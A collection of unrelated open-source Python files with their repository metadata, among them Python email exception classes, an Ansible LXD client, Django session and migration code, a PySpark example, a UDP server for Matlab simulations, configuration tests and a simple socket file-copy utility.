# Copyright (C) 2001-2006 Python Software Foundation # Author: Barry Warsaw # Contact: email-sig@python.org """email package exception classes.""" class MessageError(Exception): """Base class for errors in the email package.""" class MessageParseError(MessageError): """Base class for message parsing errors.""" class HeaderParseError(MessageParseError): """Error while parsing headers.""" class BoundaryError(MessageParseError): """Couldn't find terminating boundary.""" class MultipartConversionError(MessageError, TypeError): """Conversion to a multipart is prohibited.""" class CharsetError(MessageError): """An illegal charset was given.""" # These are parsing defects which the parser was able to work around. class MessageDefect: """Base class for a message defect.""" def __init__(self, line=None): self.line = line class NoBoundaryInMultipartDefect(MessageDefect): """A message claimed to be a multipart but had no boundary parameter.""" class StartBoundaryNotFoundDefect(MessageDefect): """The claimed start boundary was never found.""" class FirstHeaderLineIsContinuationDefect(MessageDefect): """A message had a continuation line as its first header line.""" class MisplacedEnvelopeHeaderDefect(MessageDefect): """A 'Unix-from' header was found in the middle of a header block.""" class MalformedHeaderDefect(MessageDefect): """Found a header that was missing a colon, or was otherwise malformed.""" class MultipartInvariantViolationDefect(MessageDefect): """A message claimed to be a multipart but no subparts were found."""
nmercier/linux-cross-gcc
win32/bin/Lib/email/errors.py
Python
bsd-3-clause
1,685
# -*- coding: utf-8 -*- # (c) 2016, Hiroaki Nakamura <hnakamur@gmail.com> # # This code is part of Ansible, but is an independent component. # This particular file snippet, and this file snippet only, is BSD licensed. # Modules you write using this snippet, which is embedded dynamically by Ansible # still belong to the author of the module, and may assign their own license # to the complete work. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE # USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. try: import json except ImportError: import simplejson as json # httplib/http.client connection using unix domain socket import socket import ssl try: from httplib import HTTPConnection, HTTPSConnection except ImportError: # Python 3 from http.client import HTTPConnection, HTTPSConnection class UnixHTTPConnection(HTTPConnection): def __init__(self, path): HTTPConnection.__init__(self, 'localhost') self.path = path def connect(self): sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(self.path) self.sock = sock from ansible.module_utils.urls import generic_urlparse try: from urlparse import urlparse except ImportError: # Python 3 from url.parse import urlparse class LXDClientException(Exception): def __init__(self, msg, **kwargs): self.msg = msg self.kwargs = kwargs class LXDClient(object): def __init__(self, url, key_file=None, cert_file=None, debug=False): """LXD Client. :param url: The URL of the LXD server. (e.g. unix:/var/lib/lxd/unix.socket or https://127.0.0.1) :type url: ``str`` :param key_file: The path of the client certificate key file. :type key_file: ``str`` :param cert_file: The path of the client certificate file. :type cert_file: ``str`` :param debug: The debug flag. The request and response are stored in logs when debug is true. :type debug: ``bool`` """ self.url = url self.debug = debug self.logs = [] if url.startswith('https:'): self.cert_file = cert_file self.key_file = key_file parts = generic_urlparse(urlparse(self.url)) ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) ctx.load_cert_chain(cert_file, keyfile=key_file) self.connection = HTTPSConnection(parts.get('netloc'), context=ctx) elif url.startswith('unix:'): unix_socket_path = url[len('unix:'):] self.connection = UnixHTTPConnection(unix_socket_path) else: raise LXDClientException('URL scheme must be unix: or https:') def do(self, method, url, body_json=None, ok_error_codes=None, timeout=None): resp_json = self._send_request(method, url, body_json=body_json, ok_error_codes=ok_error_codes, timeout=timeout) if resp_json['type'] == 'async': url = '{0}/wait'.format(resp_json['operation']) resp_json = self._send_request('GET', url) if resp_json['metadata']['status'] != 'Success': self._raise_err_from_json(resp_json) return resp_json def authenticate(self, trust_password): body_json = {'type': 'client', 'password': trust_password} return self._send_request('POST', '/1.0/certificates', body_json=body_json) def _send_request(self, method, url, body_json=None, ok_error_codes=None, timeout=None): try: body = json.dumps(body_json) self.connection.request(method, url, body=body) resp = self.connection.getresponse() resp_json = json.loads(resp.read()) self.logs.append({ 'type': 'sent request', 'request': {'method': method, 'url': url, 'json': body_json, 'timeout': timeout}, 'response': {'json': resp_json} }) resp_type = resp_json.get('type', None) if resp_type == 'error': if ok_error_codes is not None and resp_json['error_code'] in ok_error_codes: return resp_json if resp_json['error'] == "Certificate already in trust store": return resp_json self._raise_err_from_json(resp_json) return resp_json except socket.error as e: raise LXDClientException('cannot connect to the LXD server', err=e) def _raise_err_from_json(self, resp_json): err_params = {} if self.debug: err_params['logs'] = self.logs raise LXDClientException(self._get_err_from_resp_json(resp_json), **err_params) @staticmethod def _get_err_from_resp_json(resp_json): err = None metadata = resp_json.get('metadata', None) if metadata is not None: err = metadata.get('err', None) if err is None: err = resp_json.get('error', None) return err
camradal/ansible
lib/ansible/module_utils/lxd.py
Python
gpl-3.0
6,180
# -*- coding: utf-8 -*- from south.db import db from south.v2 import SchemaMigration try: from django.contrib.auth import get_user_model except ImportError: # django < 1.5 from django.contrib.auth.models import User else: User = get_user_model() class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Token' db.create_table('authtoken_token', ( ('key', self.gf('django.db.models.fields.CharField')(max_length=40, primary_key=True)), ('user', self.gf('django.db.models.fields.related.OneToOneField')(related_name='auth_token', unique=True, to=orm['%s.%s' % (User._meta.app_label, User._meta.object_name)])), ('created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)), )) db.send_create_signal('authtoken', ['Token']) def backwards(self, orm): # Deleting model 'Token' db.delete_table('authtoken_token') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, "%s.%s" % (User._meta.app_label, User._meta.module_name): { 'Meta': {'object_name': User._meta.module_name, 'db_table': repr(User._meta.db_table)}, }, 'authtoken.token': { 'Meta': {'object_name': 'Token'}, 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'key': ('django.db.models.fields.CharField', [], {'max_length': '40', 'primary_key': 'True'}), 'user': ('django.db.models.fields.related.OneToOneField', [], {'related_name': "'auth_token'", 'unique': 'True', 'to': "orm['%s.%s']" % (User._meta.app_label, User._meta.object_name)}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) } } complete_apps = ['authtoken']
ramcn/demo3
venv/lib/python3.4/site-packages/rest_framework/authtoken/south_migrations/0001_initial.py
Python
mit
3,298
# pylint: disable=unused-import # TODO: eventually move this implementation into the user_api """ Django Administration forms module """ from student.forms import PasswordResetFormNoActive
xingyepei/edx-platform
openedx/core/djangoapps/user_api/forms.py
Python
agpl-3.0
189
""" Cached, database-backed sessions. """ from django.conf import settings from django.contrib.sessions.backends.db import SessionStore as DBStore from django.core.cache import cache KEY_PREFIX = "django.contrib.sessions.cached_db" class SessionStore(DBStore): """ Implements cached, database backed sessions. """ def __init__(self, session_key=None): super(SessionStore, self).__init__(session_key) @property def cache_key(self): return KEY_PREFIX + self._get_or_create_session_key() def load(self): try: data = cache.get(self.cache_key, None) except Exception: # Some backends (e.g. memcache) raise an exception on invalid # cache keys. If this happens, reset the session. See #17810. data = None if data is None: data = super(SessionStore, self).load() cache.set(self.cache_key, data, settings.SESSION_COOKIE_AGE) return data def exists(self, session_key): if (KEY_PREFIX + session_key) in cache: return True return super(SessionStore, self).exists(session_key) def save(self, must_create=False): super(SessionStore, self).save(must_create) cache.set(self.cache_key, self._session, settings.SESSION_COOKIE_AGE) def delete(self, session_key=None): super(SessionStore, self).delete(session_key) if session_key is None: if self.session_key is None: return session_key = self.session_key cache.delete(KEY_PREFIX + session_key) def flush(self): """ Removes the current session data from the database and regenerates the key. """ self.clear() self.delete(self.session_key) self.create()
ychen820/microblog
y/google-cloud-sdk/platform/google_appengine/lib/django-1.4/django/contrib/sessions/backends/cached_db.py
Python
bsd-3-clause
1,823
# # Copyright 2016 Peter Sprygada <psprygada@ansible.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible.plugins.action import ActionBase from ansible.plugins.action.net_config import ActionModule as NetActionModule class ActionModule(NetActionModule, ActionBase): pass
e-gob/plataforma-kioscos-autoatencion
scripts/ansible-play/.venv/lib/python2.7/site-packages/ansible/plugins/action/netconf_config.py
Python
bsd-3-clause
987
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from __future__ import print_function # $example on$ from pyspark.ml.feature import SQLTransformer # $example off$ from pyspark.sql import SparkSession if __name__ == "__main__": spark = SparkSession\ .builder\ .appName("SQLTransformerExample")\ .getOrCreate() # $example on$ df = spark.createDataFrame([ (0, 1.0, 3.0), (2, 2.0, 5.0) ], ["id", "v1", "v2"]) sqlTrans = SQLTransformer( statement="SELECT *, (v1 + v2) AS v3, (v1 * v2) AS v4 FROM __THIS__") sqlTrans.transform(df).show() # $example off$ spark.stop()
fharenheit/template-spark-app
src/main/python/ml/sql_transformer.py
Python
apache-2.0
1,382
""" The server module is responsible for managng the threaded UDP socket server. This server is used to communicate with Matlab/Simulink simulations. It will be renamed appropriately soon @todo: rename this module to indicate it's role in any Matlab connections """ from __future__ import absolute_import, division, print_function, unicode_literals from future import standard_library standard_library.install_aliases() from builtins import object import socketserver import re import struct from re import split from ast import literal_eval from threading import Timer from time import strftime import numpy as np import requests from tower import utils from tower.map.map_interface import MapInterface from server_conf.config import settings HOST = 'localhost' PORT = 2002 # @todo: think about including in a separate module for exceptions class CommandNotFound(Exception): """ Command received does not match one listed in the command dictionary """ pass class ThreadedUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer): """ Threaded UDP server for receiving and responding to requests from client applications. We can run the server safely by doing: Example:: map_server = ThreadedUDPServer((HOST, PORT), UDP_Interrupt) server_thread = None logger.info('Instantiation succesful') # terminate with Ctrl-C try: server_thread = Thread(target=map_server.serve_forever) server_thread.daemon = False logger.info("Threaded server loop running in: {}".format(server_thread.name)) print("Threaded server loop running in: {}".format(server_thread.name)) server_thread.start() except KeyboardInterrupt: server_thread.kill() map_server.shutdown() sys.exit(0) """ def get_request(self): """ Override native get_request function in order to print out who is connecting to the server @todo make this Python3 compatible by using superclasses. Will need to update socketServer package :return: """ (data, self.socket), client_addr = socketserver.UDPServer.get_request(self) logger.info("Server connected to by:{}".format(client_addr)) return (data, self.socket), client_addr class UDP_Interrupt(socketserver.BaseRequestHandler): """ This class works similar to the TCP handler class, except that self.request consists of a pair of data and client sockets, and since there is no connection the client address must be given explicitly when sending data back via sendto(). """ def setup(self): """ Instantiate the connection with the worldEngine, the MapInterface. :rtype : None """ # TODO : figure out how to make the map interface a singleton class if not hasattr(self, 'mapInterface'): self.mapInterface = MapInterface(settings['FILE_CONFIG']['filename']) def handle(self): """ Handles UDP requests to the server. The map interface class is responsible for parsing the request, and executing the requested function. :return: """ socket = self.request[1] data = self.request[0].strip() logger.info("Address {} at {} wrote: '{}'".format(self.client_address[1], self.client_address[0], data)) cmd_strn, ret = self.command_service(data) print(ret) self.command_response(cmd_strn, ret, self.request[1], self.client_address[0], self.mapInterface.router[cmd_strn]) def command_service(self, rawCommand): """ Parse raw input and execute specified function with args :param rawCommand: csv string from Matlab/Simulink of the form: 'command, namedArg1, arg1, namedArg2, arg2, ..., namedArgN, argN' :return: the command and arguments as a dictionary """ pack = [x.strip() for x in split('[,()]*', rawCommand.strip())] raw_cmd = pack[0] argDict = {key: literal_eval(value) for key, value in utils.grouper(pack[1:], 2)} cmd = self.mapInterface.commands[raw_cmd] ret = cmd(**argDict) logger.info("Command '{}' run with args {}".format(raw_cmd, argDict)) return raw_cmd, ret def command_response(self, returned_data, socket, client_ip, client_address): """ Parse raw input and execute specified function with args :param coords: coordinates in lat/lon :return: the command and arguments as a dictionary """ returned_data.astype(np.float32) response = returned_data.tostring('C') response_length = len(response) response_arr = [response] if response_length > 256: response_arr = list(self.split_by_n(response_arr[0], 256 * 4)) data = [response_length] s = struct.pack('f' * len(data), *data) socket.sendto(s, (client_ip, client_address)) for response_packet in response_arr: socket.sendto(response_packet, (client_ip, client_address)) @staticmethod def split_by_n(seq, n): """A generator to divide a sequence into chunks of n units.""" while seq: yield seq[:n] seq = seq[n:] @staticmethod def func_explode(s): pattern = r'(\w[\w\d_]*)\((.*)\)$' match = re.match(pattern, s) if match: return list(match.groups()) else: return [] def finish(self): pass class Interrupt(object): def __init__(self, interval, function, *args, **kwargs): self._timer = None self.interval = interval self.function = function self.args = args self.kwargs = kwargs self.is_running = False self.start() def _run(self): self.is_running = False self.start() self.function(*self.args, **self.kwargs) def start(self): if not self.is_running: self._timer = Timer(self.interval, self._run) self._timer.daemon = True self._timer.start() self.is_running = True def stop(self): self._timer.cancel() self.is_running = False def call_request(url=None, data=None, headers=None): url = 'http://httpbin.org/post' headers = {'content-type': 'application/json'} time_stamp = strftime("%Y-%m-%d %H:%M:%S") data = {'flightId': 0o001, 'time': time_stamp, 'latitude': 36, 'longitude': -120, 'altitude': 50, 'speed': 100, 'heading': 0, 'hasLanded': False, 'dataSource': "UCSC"} r = requests.post(url, json=data, headers=headers) print(r.status_code)
friend0/tower
tower/server/server.py
Python
isc
6,756
# tests/test_configuration.py # vim: ai et ts=4 sw=4 sts=4 ft=python fileencoding=utf-8 from io import StringIO from pcrunner.configuration import ( read_check_commands, read_check_commands_txt, read_check_commands_yaml, ) def test_read_check_commmands_txt_with_extra_lines(): fd = StringIO( u'''SERVICE|CHECK_01|check_dummy.py|0 OK -s 0 SERVICE|CHECK_02|check_dummy.py|1 WARNING -s 10 ''' ) assert read_check_commands_txt(fd) == [ { 'command': u'check_dummy.py 0 OK -s 0', 'name': u'CHECK_01', 'result_type': 'PROCESS_SERVICE_CHECK_RESULT', }, { 'command': u'check_dummy.py 1 WARNING -s 10', 'name': u'CHECK_02', 'result_type': 'PROCESS_SERVICE_CHECK_RESULT', }, ] def test_read_check_commmands_yaml(): fd = StringIO( u''' - name: 'CHECK_01' command: 'check_dummy.py 0 OK -s 0' result_type: 'PROCESS_SERVICE_CHECK_RESULT' - name: 'CHECK_02' command: 'check_dummy.py 1 WARNING -s 10' result_type: 'PROCESS_SERVICE_CHECK_RESULT' ''' ) assert read_check_commands_yaml(fd) == [ { 'command': u'check_dummy.py 0 OK -s 0', 'name': u'CHECK_01', 'result_type': 'PROCESS_SERVICE_CHECK_RESULT', }, { 'command': u'check_dummy.py 1 WARNING -s 10', 'name': u'CHECK_02', 'result_type': 'PROCESS_SERVICE_CHECK_RESULT', }, ] def test_read_check_commands_returns_empyt_list(): assert read_check_commands('/does/not/exists') == []
maartenq/pcrunner
tests/test_configuration.py
Python
isc
1,602
#!/usr/bin/env python #Protocol: # num_files:uint(4) # repeat num_files times: # filename:string # size:uint(8) # data:bytes(size) import sys, socket import os from time import time DEFAULT_PORT = 52423 PROGRESSBAR_WIDTH = 50 BUFSIZE = 1024*1024 CONNECTION_TIMEOUT = 3.0 RECEIVE_TIMEOUT = 5.0 if os.name == "nt": sep = "\\" else: sep = '/' def main(): if len(sys.argv)<2: usage() return if sys.argv[1]=='-s' and len(sys.argv) >= 4: try: send() except KeyboardInterrupt: printError("\nAbort") elif sys.argv[1]=='-r': try: recieve() except KeyboardInterrupt: printError("\nAbort") else: usage() def printError(s): sys.stderr.write(s+'\n') def encodeInt(l, size): if l > ((0x1 << (8*size))-1): raise ValueError("Number too large: {0}".format(l)) b = bytearray(size) i = 0 while l > 0: b[i] = (l & 0xff) l = l >> 8 i+=1 b.reverse() return b def encodeString(s): return s+b'\x00' def recieveInt(size, conn): data = conn.recv(size) b = bytearray(data) if len(b) != size: raise ValueError("Received invalid data") value = 0 for i in range(0,size): value = value << 8 value += b[i] return value def recieveString(conn): s = "" ch = '' while True: ch = conn.recv(1) if ch == b'\x00': break s += ch return s def send(): port = DEFAULT_PORT i = 2 files = [] while i < len(sys.argv): #-2 if sys.argv[i]=='-p': if i+1 >= len(sys.argv): printError("Expecting port after '-p'") return try: port = int(sys.argv[i+1]) except ValueError: printError("Invalid port: "+sys.argv[i+1]) return i+=1 else: receiver = sys.argv[i] files = sys.argv[i+1:] break i+=1 num_files = 0 open_files = [] for fn in files: try: f = open(fn, "rb") open_files.append((fn, f)) num_files+=1 except IOError as e: printError("Could not open file {0}: {1}. Skipping".format(fn, e.strerror)) if num_files == 0: printError("No files to send. Aborting") return try: client = socket.create_connection((receiver, port), CONNECTION_TIMEOUT) except Exception as e: message = str(e) if hasattr(e, 'strerror'): message = e.strerror printError("Could not connect to {0}: {1}".format(receiver, message)) return print("--- Sending {0} file(s) to {1} ---".format(num_files, receiver)) metadata = bytearray() metadata += encodeInt(num_files, 4) for (fn, f) in open_files: metadata += encodeString(fn[fn.rfind(sep)+1:]) f.seek(0,2) size = f.tell() print("- Sending {0} ({1} bytes)".format(fn, size)) metadata += encodeInt(size, 8) client.sendall(metadata) metadata = bytearray() f.seek(0,0) while size > 0: bytebuf = bytearray(f.read(BUFSIZE)) client.sendall(bytebuf) size -= BUFSIZE f.close() client.close() def recieve(): port = DEFAULT_PORT i = 2 while i < len(sys.argv): if sys.argv[i]=='-p': if i+1 >= len(sys.argv): printError("Expecting port after '-p'") return try: port = int(sys.argv[i+1]) except ValueError: printError("Invalid port: "+sys.argv[i+1]) return i+=1 else: printError("Unrecognized argument: "+sys.argv[i]) return i+=1 try: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('', port)) except Exception as e: printError("Could not bind socket: {0}".format(e.strerror)) return print("Waiting for incoming connections...") server.listen(1) conn, addr = server.accept() print("Connected to {0}".format(addr[0])) num_files = recieveInt(4, conn) print("Recieving {0} file(s)".format(num_files)) if num_files > (0x1 << 16): printError("Too many files. Aborting") return try: for i in range(0,num_files): fn = recieveString(conn) filesize = recieveInt(8, conn) print("- {0} ({1} bytes)".format(fn, filesize)) if os.path.isfile(fn): print(" Error: file '{0}' already exists. Skipping".format(fn)) conn.recv(filesize) continue f = open(fn, "wb") size = filesize printProgressBar(0) lastreceivetime = time() printProgressBar(0) while size > 0: buffersize = min(BUFSIZE, size) data = conn.recv(buffersize) if len(data) == 0: if time()-lastreceivetime > RECEIVE_TIMEOUT: printError("\nReceive timeout. Aborting") server.close() return continue lastreceivetime = time() size -= len(data) f.write(data) ratio = float(filesize-size)/float(filesize) printProgressBar(ratio) printProgressBar(1) print("") f.close() except ValueError: printError("Protocol error. Aborting") finally: server.close() def printProgressBar(ratio): if ratio < 0 or ratio > 1: raise ValueError("Error: invalid ratio: {0}".format(ratio)) progressbar_length = int(ratio * PROGRESSBAR_WIDTH) progressbar = '#'*progressbar_length + ' '*(PROGRESSBAR_WIDTH-progressbar_length) + " - {0:.2f}%".format(ratio*100.0) sys.stdout.write("\r"+progressbar) sys.stdout.flush() def usage(): print("Usage:\n" "\t{0} -s [-p port] [receiver] [files...]\t- Send files to receiver\n" "\t{0} -r [-p port]\t\t\t\t- Receive files" .format(sys.argv[0][sys.argv[0].rfind(sep)+1:])) if __name__ == "__main__": main()
lorian1333/netcopy
netcopy.py
Python
mit
5,187